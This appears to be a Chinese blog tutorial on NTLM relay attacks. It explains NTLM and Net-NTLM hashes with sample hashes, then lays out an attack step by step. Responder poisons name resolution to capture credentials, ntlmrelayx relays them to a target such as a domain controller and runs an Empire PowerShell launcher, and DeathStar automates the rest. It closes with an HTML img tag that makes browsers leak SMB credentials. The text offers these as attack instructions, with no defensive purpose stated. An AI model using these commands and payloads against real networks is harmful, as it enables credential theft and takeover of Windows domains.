基础知识
NTLN和Net-NTLM
1、NTLM(V1/V2)的hash是存放在安全账户管理(SAM)数据库以及域控的NTDS.dit数据库中,获取该Hash值可以直接进行PtH攻击,我博客中前文也有介绍过。
2、Net-NTLM(V1/V2)的hash值是基于用户的NT的hash值经过一定的算法产生的。
#NTLM-Hash
aad3b435b51404eeaad3b435b51404ee:e19ccf75ee54e06b06a5907af13cef42 前面是LMhash后面是NT的Hash
#Net-NTLM-Hash
admin::N46iSNekpT:08ca45b7d7ea58ee:88dcbe4446168966a153a0064958dac6:5c7830315c7830310000000000000b45c67103d07d7b95acd12ffa11230e0000000052920b85f78d013c31cdb3b92f5d765c783030
NTLM认证攻击的原理
说到底,在使用一些服务的过程中,需要带有windows的自身的认证信息,其实就是Net-NTLM的Hash,而这些东西你可以使用像Responder或者Inveigh这些工具获得。然后你获取了这个Net-NTLM的Hash,就可以转给真正的验证服务器去验证,从而作为攻击者的你就可以通过真实的服务器的身份验证,这种攻击方式就称作NTLM中继攻击。
攻击场景
控制受害者访问一个站点(不存在的最好),你作为攻击者对此作出应答,认证信息会传到你的攻击者的机器上,你对此再做转发,去真实的服务器上认证,即可获取真正服务器的权限。
攻击流程
攻击准备
- Kali(Ubuntu) 攻击笔记本一台
- Windows客户端一台
- Windows服务器一台
攻击工具
- Responder,下载地址:https://github.com/SpiderLabs/Responder
- Empire,下载地址:https://github.com/EmpireProject/Empire
- Deathstar,下载地址:https://github.com/byt3bl33d3r/DeathStar
- ntlmrelayx,下载地址:https://github.com/CoreSecurity/impacket,安装配置:https://hausec.com/how-to-set-up-ntlmrelayx-py/
启动Empire
1、启动Empire的RestFUL-API
2、然后创建powershell脚本
launcher powershell DeathStar
3、打开DeathStar
root@kali:~/DeathStar# ./DeathStar.py --listener-ip kali_ip -t 100 -u admin -p admin
4、开启中继
ntlmrelayx.py -t target_ip(例如域控) -c 'powershell脚本生成的内容'
5、打开Responder.py
先修改文件(Responder.py):
然后
python Responder.py -I eth0 -r -d –v
6、结果
可以看出中继是认证成功的,但是rpc调用失败了,因为权限不够。
扩展-使用CSRF控制客户端去请求:
在浏览器沙箱不断发展的几天,很多伪协议或者文件协议的访问方式都已经被禁止了,但是SMB依然可以
<img src='\\WIN-8JQH4CQEJIR\User\img\1.jpg'>
这样就可以实现控制的访问。